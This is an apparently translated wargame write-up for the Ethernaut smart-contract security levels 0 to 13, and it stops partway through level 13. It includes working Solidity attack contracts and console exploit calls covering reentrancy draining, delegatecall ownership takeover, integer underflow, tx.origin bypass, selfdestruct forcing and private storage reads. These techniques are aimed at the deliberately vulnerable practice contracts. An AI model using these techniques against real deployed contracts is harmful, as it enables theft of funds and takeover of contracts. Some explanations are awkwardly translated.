[Blockchain Security-Ethernaut] Blockchain Smart Contract Security Practice - Serialization
- Prepare
- 0. Hello Ethernaut
- 1. Fallback
- 2. Fallout
- 3. Coin Flip
- 4. Telephone
- 5. Token
- 6. Delegation
- 7. Force
- 8. Vault
- 9 King
- 10 Re-entrancy
- 11 Elevator
- 12 Privacy
- 13 GateKeeper One
- 14 GateKeeper Two
- 15 Naught Coin
- 16 Preservation
- 17 Recovery
- 18 MagicNumber
- 19 AlienCodex
- 20 Denial
- 21 Shop
- 22 Dex
- 23 Dex2
Prepare
With the gradual promotion of blockchain technology, blockchain security has gradually become a research hotspot. Among them, the security of smart smart contracts is the most prominent. Ethernaut is a good tool for getting started researching blockchain smart contract security.
- First, you should make sure to install Metamask , if you can use Google Extension you can install it directly, otherwise you can install it using FireFox
- Create a new account and connect to RinkeBy Test Network (need to enable Show test networks in Setting - Advanced and switch in the network)
- Visit Faucet and get test coins, 0.1Eth every day
Start your journey of discovery on Ethernaut now!
0. Hello Ethernaut
This section is relatively simple, so I will pay more attention to the overall process, introduce the instance creation of Ethernaut, etc., and I will sort it out myself, so I will be more detailed.
Preparation
Entering Hello Ethernaut , you will be automatically prompted to connect to the Metamask wallet. After connecting, the schematic diagram is as follows:
Press F12 to open the developer tool, and you can interact with smart contracts on the console interface.
Create an instance and analyze
Click Get New Instance to create a new contract instance.
It can be seen that we actually 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
create instances by interacting with the contract. In the tutorial parameter, call the 0xdfc86b17
method with the address 0x4e73b858fd5d7a5fc1c3455061de52a53f35d966
as parameter. In fact, all levels will go to when they create an instance, and the 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
attached address is used to indicate the level, such as the URL address in this example
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966
.
The instance has been successfully generated, and the screenshot of the main contract transaction is as follows:
Enter transaction details, view internal transactions, and find calls between contracts. The first one is to call the level contract by the main contract, and the second one is to create a contract instance by the level contract, where the instance address is 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
.
Going back to the page, you can confirm that the generated instance is indeed the 0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
following. We will interact with the contract to complete this level.
contract interaction
At this point, in the console interface, you can view the user's current account and the created contract instance through player
and respectively. Represents the user wallet account address, and contains contract instance , , and method information.contract
player
contract
abi
address
Follow the prompts to enter await contract.info()
and get the result 'You will find what you need in info1().'
.
Enter await contract.info1()
and get the result 'Try info2(), but with "hello" as a parameter.'
.
Enter await contract.info2('hello')
and get the result 'The property infoNum holds the number of the next info method to call.
.
Input await contract.infoNum()
, get the infoNum parameter value 42
(the first position in Word). info42
This is the function ( ) to be called next .
Input await contract.info42()
, get the result 'theMethodName is the name of the next method.
, that is, the next step should be called theMethodName
.
Enter await contract.theMethodName()
and get the result 'The method name is method7123949.
.
Enter await contract.method7123949()
and get the result 'If you know the password, submit it to authenticate().
.
So pass password()
can get the password ethernaut0
and submit it to authenticate(string)
.
Note that when the authenticate()
function is in progress, Metamask will pop up the transaction confirmation, this is because the function changes the state inside the contract (to check the success of the level), while other previously called functions do not (for the View).
At this point, the level has been completed. You can choose Sumbit Instance to submit, and you must also sign to complete the transaction
After this, the Console page pops up a success prompt, and the level is complete!
Summarize
This question is relatively simple, and it is more to be familiar with the operation and principle of ethernaut.
1. Fallback
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
.
This level requires taking ownership of the contract and clearing the balance .
Observe its source code to find the entry point of contract ownership change. Find two, respectively contribute()
and receive()
, the code is as follows:
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
According to contribute()
the logic, when the user sends less than or equals to the call 0.001 ether
and the total contribution exceeds owner
, the ownership of the contract can be obtained . This process seems simple, but it can be seen from the following constructor() function that when it is created, owner
the creation amount is 1000 ether
, so this method is not very practical.
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
Considering receive()
the function again, according to its logic, when the user sends anything ether
and has contributed before (the contribute()
function has been called), the contract ownership can be obtained. receive()
Similarly fallback()
, this method is called when the user sends tokens but no function is specified (eg sendTransaction()
).
After acquiring ownership, calling the withdraw
function can clear the contract balance.
contract interaction
Use the contract
command to view the contract abi and external functions.
Call await contract.contribute({value:1})
, send 1 unit of Wei to the contract.
At this point, call to await contract.getContribution()
view user contributions and find that the contribution degree is 1, which meets receiver()
the minimum requirements for calling the default function.
Use the await contract.sendTransaction({value:1})
constructed transfer transaction to send to the contract, and the
call await contract.owner() === player
confirms that the contract owner has changed.
The final call to await contract.withdraw()
withdraw the balance.
Submit an instance to show that the level is successful!
Summarize
This level is also relatively simple. It mainly needs to analyze the logic inside the code and understand fallback()
the receive
principle.
2. Fallout
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x891A088f5597FC0f30035C2C64CadC8b07566DC2
.
This level requires taking ownership of the contract. First, use the contract
command to view the abi and function information of the contract.
Check the contract source code for possible breakthrough points. It turns out that Fal1out()
the function is the breakthrough. Its code is as follows:
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
For Solidity, its compiler versions before 0.4.22 support constructors with the same contract name, such as:
pragma solidity ^0.4.21;
contract DemoTest{
function DemoTest() public{
}
}
However, since 0.4.22, only exploit constructor()
builds are supported , such as:
pragma solidity ^0.4.22;
contract DemoTest{
constructor() public{
}
}
But in this level, it is clear that the contract creator made a mistake and will be Fallout
written Fal1out
. Fal1out
So we get ownership by calling the function directly .
contract interaction
Use await contract.owner()
to get the current contract owner as the 0x0
address.
Call await contract.Fal1out({value:1})
to achieve ownership acquisition.
Call to await contract.owner() === player
confirm that contract ownership has been acquired.
Submit an instance, this level is complete!
Summarize
This level is relatively simple, and mainly examines the understanding and grasp of contract details and constructors.
3. Coin Flip
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
.
This level requires 10 consecutive guesses of the heads and tails of the coin .
Let's first observe the code, which is shown in the following figure:
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
It can be seen that the front and back of the coin are determined by the height of the block before the current block. If we don't know what the current block height is, it is difficult to predict the front and back of the coin in advance. At the same time, the contract guarantees that the same block can only be submitted once through lastHash.
Here we will introduce the concept of calls between contracts, as we Hello Ethernaut
analyzed in the level, a contract can also call a contract, the specific operation is as Internal Txns
, but still in the same block as the initial call . So we can create our own smart contract, predict the front and back of the coin in advance, and make a request to the level contract.
The following is the content of calls between contracts, there are mainly several types:
- Use the callee contract instance (the callee contract code is known)
- Use the called contract interface instance (only the called contract interface is known)
- Call the contract using the call command
We will write our own smart contract, starting from the above three ideas, to realize the call between contracts.
Attack contract writing
Use the Remix online editor to write the contract, the code is as follows, which CoinFlipAttack
is our attack contract, CoinFlip
and CoinFlipInterface
both are defined to provide the abi interface for the target contract:
pragma solidity ^0.6.0;
// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";
// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}
// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker{
using SafeMath for uint256;
address private addr;
CoinFlip cf_ins;
CoinFlipInterface cf_interface;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _addr) public {
addr = _addr;
cf_ins = CoinFlip(_addr);
cf_interface = CoinFlipInterface(_addr);
}
// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
function getFlip() private returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
return side;
}
// 使用被调用合约实例(已知被调用合约代码)
function attackByIns() public {
bool side = getFlip();
cf_ins.flip(side);
}
// 使用被调用合约接口实例(仅知道被调用合约接口)
function attackByInterface() public {
bool side = getFlip();
cf_interface.flip(side);
}
// 使用call命令调用合约
function attackByCall() public {
bool side = getFlip();
addr.call(abi.encodeWithSignature("flip(bool)",side));
}
}
contract interaction
0.6.12+commit.27d51765.js
At this point, the compiler we choose is compiled, as shown in the following figure:
On the deployment page, select Injected Web3
, connect Metamask钱包
, and call the constructor of the attack contract, where the construction parameters are passed into the target contract 0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
.
The little fox signs, the contract deployment is completed, the address of the attack contract is 0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF
, and the following call interface is displayed. Next, we will launch the attack in the following three ways:
- Using the called contract instance (attackByIns)
before calling, we have 3 consecutive guesses, as shown in the following figure:
ClickattackByIns
, the Metamask confirmation pop-up window pops up, confirm, the current block has been successfully mined.
At this time, the number of consecutive guesses becomes 4, and the method is successfully verified!
- Use the called contract interface instance (attackByInterface)
At this point, the number of consecutive guesses is 4. Click on it attackByInterface
, and the Metamask confirmation pop-up window will pop up. Confirm that the current block has been successfully mined.
At this time, the number of consecutive guesses becomes 5, and the method is successfully verified!
- Use the call command to call the contract (attackByCall).
At this time, the number of consecutive guesses is 5. Click on itattackByCall
, and the Metamask confirmation pop-up window will pop up. Confirm that the current block has been successfully mined.
At this time, the number of consecutive guesses becomes 6, and the method is successfully verified!
No matter which method is used, the contract call in the same block can be realized, but you must pay attention gas limit
to the settings. If it is not enough, there will be an explosion out of gas
or reverted
an error, you can set it on the little fox confirmation interface.
We can then do 4 more times with arbitrary calls until we reach 10, and finally commit!
Submit an instance, this level is complete!
Summarize
This level mainly examines solidity
the writing and calling between contracts. I encountered a lot of gas
related problems when I was doing it. I didn't pay much attention to it before, but now I need to pay more attention!
4. Telephone
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xba9405B2d9D1B92032740a67B91690a70B769221
.
Analyze its contract source code and request to change the contract ownership. The breakthrough lies in the changeOwner
function. The function code is as follows:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
The prerequisite is that it tx.origin
is msg.sender
not the same, so we should study this.
tx.origin
walks the entire call stack and returns the address of the account that originally sent the call (or transaction).msg.sender
is the address of the account or smart contract that directly invokes the smart contract function
The difference between the two is that if there are multiple calls within the same transaction , it will tx.origin
remain unchanged, but msg.sender
will change. Based on this, we will write a smart contract that acts as a man-in-the-middle attack.
Attack contract writing
The contract is also written in remix. The contract code is as follows. Similar to the previous level, the interface
contract interface instance is created through the interface, and we pass attack函数执行攻击
:
pragma solidity ^0.6.0;
interface TelephoneInterface {
function changeOwner(address _owner) external;
}
contract TelephoneAttacker {
TelephoneInterface tele;
constructor(address _addr) public {
tele = TelephoneInterface(_addr);
}
function attack(address _owner) public {
tele.changeOwner(_owner);
}
}
contract interaction
Initially, contract ownership has not yet been obtained.
We deploy the contract on remix with parameters attached 0xba9405B2d9D1B92032740a67B91690a70B769221
to initialize the attacked contract interface instance tele
. The address of the generated attack contract is 0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811
.
Call the function on remix attack
, the parameter is 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
the wallet address.
At this point, check the ownership again and find that the change has occurred.
Submit an instance, this level has been successfully passed.
Summarize
tx.origin
There are many contracts in use for this, but if used incorrectly, it can cause serious consequences.
For example, I set up a contract to cause the attacked contract to actively initiate a call, and launch the attack in the accepting function to bypass the tx.origin
relevant security settings.
5. Token
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
.
Judging from the contract creation process, the instance creation contract 0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
calls the level contract 0x63bE8347A617476CA461649897238A31835a32CE
to create the target contract and player
transfers 20 token
.
To analyze its contract source code and request to increase the number of existing tokens, we should transfer
start with the function. The function code is as follows:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
A mistake in the code here is that there is uint
no overflow check for the operation, for example, for an 8-bit unsigned integer, there will be 0-1=255
an 255+1=0
error. We can use this loophole to achieve unlimited additional issuance of tokens.
contract interaction
Call await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)
the function, note that you can't transfer money to yourself here, because there will be an underflow first, and then an overflow. We directly transfer to 21 level contracts token
. At this time 20-21
, an underflow occurs and reaches the maximum value. At this point, it can be seen that the token balance has grown.
Submit an example and pass this level!
Summarize
That's why we need to Safemath
. Be sure to pay attention to overflow and underflow when writing contracts!
6. Delegation
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
. This level requires **take ownership of the
contract **.Delegation
Analysis of the contract, the source code section provides two parts of the contract, one is Delegate
and the other is Delegation
. Delegation
The fallback
function passed between the two contracts is delegatecall
called based on method expansion.
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
For the Delegation
contract, the code to change the ownership cannot be found in it, so we can change the way of thinking and see if Delegate
there is any in the contract. Analyzing the contract can see that pwn()
it can be realized.
function pwn() public {
owner = msg.sender;
}
At this time, some people may be confused, Delegate
and Delegation
are two different contracts. If we only modify Delegate
the one in owner
it, will it have an impact on calling it across contracts Delegation
?
In Solidity, the call function cluster can implement cross-contract function calling, including call
, delegatecall
and callcode
, and we will analyze the differences between the following three cross-contract calling methods (taking user A calling contract C through contract B as an example):
call
: The most common calling method. After the call, the value of the built-in variable msg will be changed to the caller B, and the execution environment is the callee's runtime environment C.delegatecall
: After the call, the value A of the built-in variable msg will not be modified to the caller, but the execution environment is the caller's runtime environment Bcallcode
: After the call, the value of the built-in variable msg will be modified to the caller B, but the execution environment is the caller's runtime environment B
So at that delegatecall
time, although we were calling Delegate
the function in the contract, in fact, we were Delegation
doing it in the environment, which can be understood as "introducing" the code. Therefore, we can realize the transfer of contract rights.
contract interaction
When initializing, having contract ownership is not an option player
.
Use contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})
to initiate a call, the result fails, and a closer look is because there is fallback
no payable
decoration. This is a misunderstanding at the beginning, and the observation is not careful enough.
remove value
, call again await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
. At this point the contract ownership has been transferred. Explain, here data
is to call the pwn
function, use the sha3
encoding and take the first 4 bytes, here is simplified because there is no input parameter.
Submit a contract instance, this level is successful!
Summarize
Calls between contracts need to be very careful, delegate
originally for programming flexibility, but if not handled properly, it will bring great problems to security!
7. Force
I'm sorry, I've been a little busy at work recently, because my work involves foreign cyber security trade, so I've been busy with training recently. But this piece will certainly continue to be completed.
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xa39A09c4ebcf4069306147035dd7cE7735A25532
.
This level requires Force
transferring tokens to the contract, but the contract does not seem to have a payable function. So what should we do?
In practice, there are several common ways to transfer money to a smart contract.
- Transfer: Throws exception when an error occurs, and the code will not execute afterward
- Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
- call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.
There is a premise of the three methods, that is, the accepting contract must be able to accept the transfer, that is, there is a payable function, otherwise it will be rolled back.
So is there any other way?
However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased
That is to say, we can send the remaining ether of the contract to the specified address through the self-destruction function of the contract. At this time, we do not need to judge whether the address can accept the transfer or not. So we can build smart contracts, complete self-destruction, and then attack.
contract interaction
The contract itself does not provide balance query, so we go to the chain to query. The contract balance is now 0.
We build the contract through remix, which writes a self-destructing function.
pragma solidity ^0.6.0;
contract ForceAttacker {
constructor() public payable{
}
function destruct(address payable addr) public {
selfdestruct(addr);
}
}
Create a new contract, deploy it to the Rinkeby testnet, contract address0x7718f44c496885708ECb8CC84Af4F3d51338cb3C
destruct
Call the function with the attacked contract as a variable .
At this point, it can be seen that the address balance on the attacked contract chain has changed from 0 to 50.
Submit an example, this level is successfully passed!
Summarize
selfdestruct
Payable check will not be triggered. If there is no good check, it may have an unpredictable impact on the operation of the contract itself. To prevent this.balance
manipulation by hackers, we should use balance
variables to accept balances for specific business logic.
8. Vault
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x81E840E30457eBF63B41bE233ed81Db4BcCF575E
.
Analysis of the contract, the requirement of this level is to unlock, and the only way to unlock is to input correctly password
. The definition of this level pair password
is a private variable, why can't it be seen from time to time?
The answer is no, all variables are stored on-chain and we can see it naturally. Now the question is, where to look and what to look for?
What is the first answer?
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
, use this command to see the storage content stored at a certain address.
Its parameters represent the following meanings:
String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.
Generally speaking, we use web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);
, the latter two parameters are generally optional.
What is the second answer?
The Ethereum data storage will designate a computable storage location for each data of the contract, and store it in a super array with a capacity of 2^256. Each element in the array is called a slot, and its initial value is 0 . Although the upper limit of the array capacity is high, the actual storage is sparse, and only non-zero (null) data is actually written to the storage. The slot location for each datastore is fixed.
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
Each slot is 32 bytes. For value types, its storage is continuous, and the following rules are met.
- The first item of the storage slot is stored little-aligned (ie, right-aligned)
- Primitive types use only the bytes needed to store them
- If there is not enough space left in the storage slot to store a base type, it is moved into the next storage slot
- Struct and array data will always occupy a whole new slot (but items in a struct or array will be packed with these rules)
For example the following contract
pragma solidity ^0.4.0;
contract C {
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
}
Its storage layout is as follows:
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------
Back to this question, it is obvious that the storage placement should be
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| password (32) | <- slot 1
-----------------------------------------------------
So we can slot1
get the password information by.
contract interaction
Enter await web3.eth.getStorageAt(contract.address,1)
get byte32 password
.
At this point, the contract is still locked (passable await contract.locked()
) for query.
Call await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
to unlock the contract.
At this point, the contract has been unlocked.
Submit an instance, this level is successfully passed.
Summarize
There are no secrets on the blockchain.
9 King
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2
. Analysis of its contract, its contract function lies in the following code segment:
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
When an incoming transfer is received, if the sent amount is greater than the current bonus, the sent amount will be sent to the current king, the bonus will be updated, and the sender will become the new king.
The purpose of this level is to break this cycle.
The starting point for breaking this cycle is that the function interaction is actually a continuous process.
- The user sends a specified amount of ether.
- The contract forwards the ether to the current king
- Updated kings and bonuses.
As long as we, as kings, refuse to accept the bonus transferred from the contract, the whole process can be rolled back.
Attack contract writing
We also write the attack contract in remix. as follows:
contract KingAttacker {
constructor() public payable{
}
function attack(address payable addr) public payable{
addr.call.value(msg.value)("");
}
fallback() external payable{
revert();
}
}
In the accept function, we take the initiative to roll back to prevent the contract from continuing to execute.
contract interaction
First, let's see how much we need to pass in at the moment. On the target contract details page, you can see that 0.001Ether was passed in when creating the contract.
So after we create the attack contract ( 0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208
), pass in 2Finney and call the attack contract attack
method.
At this point we look at the king, using await contract._king()
it, we can see that the king has become an attack contract.
Submit the contract, the level is successful!
revert
Looking at the data on the chain, we can see that a rollback ( ) occurred during the execution .
Summarize
Attacks can start from multiple perspectives of contract execution.
10 Re-entrancy
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
. Analysis of its contract, its contract extraction function is as follows:
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
What is the problem with this contract? That is, he made a mistake in the order of bookkeeping and transfer (transfer first, then book). Generally speaking, when we go to the bank to withdraw money, the bank will first make a note on its own account book, and then the money will be withdrawn to us. Although it is impossible for us to withdraw money in two places at the same time, is it possible in the blockchain?
The answer is yes. If we initiate a new money withdrawal operation while accepting the contract transfer, then obviously, if it is a continuous calling process, the contract will still transfer money to the user without modifying the ledger?
So, what can be done to ensure continuous invocation? That is to use the contract to interact with the attacked contract.
Attack contract writing
We also write the attack contract in remix. as follows:
pragma solidity ^0.6.0;
interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balanceOf);
}
contract Attacker {
Reentrance ReentranceImpl;
uint256 requiredValue;
constructor(address addr) public payable{
ReentranceImpl = Reentrance(addr);
requiredValue = msg.value;
}
function getBalance(address addr) public view returns (uint){
return addr.balance;
}
function donate() public {
ReentranceImpl.donate{value:requiredValue}(address(this));
}
function withdraw(uint _amount) public {
ReentranceImpl.withdraw(_amount);
}
function destruct() public {
selfdestruct(msg.sender);
}
fallback() external payable {
uint256 ReentranceImplValue = address(ReentranceImpl).balance;
if (ReentranceImplValue >= requiredValue) {
withdraw(requiredValue);
}else if(ReentranceImplValue > 0) {
withdraw(ReentranceImplValue);
}
}
}
We use to ReentranceImpl
mark the target contract, using requiredValue
to denote the money the contract has deposited in the target contract. At the same time, we define a fallback
function that will be called whenever funds are received withdraw
to withdraw the balance from the target contract. Let's do the contract interaction.
contract interaction
First check how much ether the contract itself has, check it on the browser, and find that there is a total of 0.001 ether.
So we pass in 500000000000000 Wei when deploying the contract, which can be called repeatedly three times to confirm the attack effect of the contract. At the same time, we pass in the target contract address 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
. After deployment, the attack contract address is 0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287
.
First, we query the balance of the contract itself, which is 500000000000000 Wei, and then we query the balance of the target contract, which is 10000000000000000 Wei.
We use donate
the function to deposit the balance to the target contract.
At this point, the balance of the target contract also becomes 0.0015Ether.
Our next attack is to withdraw
extract 500000000000000 Wei using the function. When initiating a transaction, the gas should be modified on the Fox interface. Waiting for the transaction to complete, there are three transfers in the contract.
The balance of the target contract has been reset to zero, and the attack is complete!
Submit an example, this level is complete!
Finally, don't forget to recover the balance through the contract self-destruct~
Summarize
The design of the contract should be fully cautious, any negligence will have a great impact
11 Elevator
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
. Analysis of its contract, the core code of the contract is as follows:
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
Due to the first judgment , the structure is isLastFloor
entered after it is not satisfied , and it is obtained again . The contract then takes it for granted that the result obtained the second time is still unsatisfactory, is that so?if
isLastFloor
Due to the impact of external calls, the contract cannot control the behavior of the external contract when it is called externally. So we can write smart contracts to launch related attacks.
Attack contract writing
We also write the attack contract in remix. as follows:
pragma solidity ^0.6.0;
interface Elevator{
function goTo(uint _floor) external;
}
contract Building {
Elevator elevatorImpl;
bool isTop;
constructor(address addr) public {
elevatorImpl = Elevator(addr);
isTop = false;
}
function flip() public {
isTop = !isTop;
}
function isLastFloor(uint) public returns (bool){
bool res = isTop;
flip();
return res;
}
function attack() public {
elevatorImpl.goTo(1);
}
}
The core point is that each time the function is called, the isLastFloor
function will be called internally to flip
complete the inversion of the variable isTop
, so the results obtained twice in a row are different.
contract interaction
Enter await contract.top()
to see if it is the top level, the result is false.
Deploy the contract, pass in the target contract 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
, and build the contract at the address 0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a
.
Call attack()
the function to launch an attack on the target contract.
At this point, check again, enter to await contract.top()
see if it is the top level, and the result is true.
Submit an example, this level is successful!
Summarize
Contracts are unbelievable, and even well-written contracts are useless if they cannot control the behavior of others.
12 Privacy
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf
. Analysis of its contract, the core code of the contract is as follows:
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
At this point, the input should be entered data[2]
, and how should this be obtained? Obviously, we still have to start with the storage mechanism.
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
This is the variable definition. Correspondingly, we have the slot storage distribution as follows:
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| ID(32) | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2
-----------------------------------------------------
| data[0](32) | <- slot 3
-----------------------------------------------------
| data[1](32) | <- slot 4
-----------------------------------------------------
| data[2](32) | <- slot 5
-----------------------------------------------------
So, it is data[2]
stored in slot 5.
contract interaction
Enter await web3.eth.getStorageAt(contract.address,5)
to get data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
.
At this point there is a conversion between bytes16 and bytes32. It should be noted that Ethereum has two storage methods, big endian (strings & bytes, starting from left) and little endian (other types, starting from big). Therefore, when converting from 32 to 16, the right 16 bytes need to be chopped off.
How can we do this? ie '0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)
.
After that, submit the result directly and prepare to unlock. contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')
.
At this point, the contract has been unlocked.
Submit an example, this level is successful!
Summarize
Again, there are no secrets on the blockchain.
13 GateKeeper One
Hi everyone, I'm back again. I've been really busy lately, so I'll hurry up to finish this series in August, and then share the next content.
Create an instance and analyze
According to the previous steps, create a contract instance with the contract address of 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
. The purpose of this level is to satisfy gateOne
, gateTwo
and gateThree
, to successfully implement entrant
modifications.
So what do we need to do? First, take a look at modifier
what each of the requirements are. See if you can meet and modify?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
Analysis gateOne
, we can see the need msg.sender != tx.origin
, which shows that we need a contract as a transit.
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
Analysis gateTwo
, which shows that when this step is executed, the remaining gas must be a multiple of 8191, which requires us to set the gas.
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
Analysis gateThree
, this shows that special bytes8 data needs to be input, to ensure that the 1-16 bits are the data of tx.origin and the 17-32 bits are 0 ( uint32(uint64(_gateKey)) == uint16(tx.origin),
), and the 33-64 bits are not all 0 ( uint32(uint64(_gateKey)) != uint64(_gateKey)
).
So we can organize our ideas and write smart contracts.
Attack contract writing
We also write the attack contract in remix. as follows:
pragma solidity ^0.6.0;
interface Gate {
function enter(bytes8 _gateKey) external returns (bool);
}
contract attackerSupporter {
uint64 offset = 0xFFFFFFFF0000FFFF;
bytes8 changedValue;
Gate gateImpl;
constructor(address addr) public {
gateImpl = Gate(addr);
}
function getAddress() public {
changedValue = bytes8(uint64(tx.origin) & offset);
}
function check1() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
}
function check2() public view returns (bool){
return uint32(uint64(changedValue)) != uint64(changedValue);
}
function check3() public view returns (bool){
return uint32(uint64(changedValue)) == uint16(tx.origin);
}
function attack() public {
gateImpl.enter(changedValue);
}
}
Here we mainly look at why gateThree
the needs can be solved. When input is taken, bytes8(uint64(tx.origin) & offset)
operations are performed.
address
Type length is 160 bits, 20 bytes, 40 hexuint64(tx.origin)
The pairtx.origin
is intercepted, and the last 64 bits, 8 bytes, and 16 hexadecimal are selected.offset
The type isuint64
, the default value is0xFFFFFFFF0000FFFF
, the lastFFFF
guarantees that the last 16 bits will not change, the middle0000
guarantees that the 17-33 bits are 0, and the restFFFFFFFF
guarantee that the 34-64 bits are not all 0 (as long astx.origin
this is not the case).&
The transformation is completed by operation tobytes8
store in achangedValue
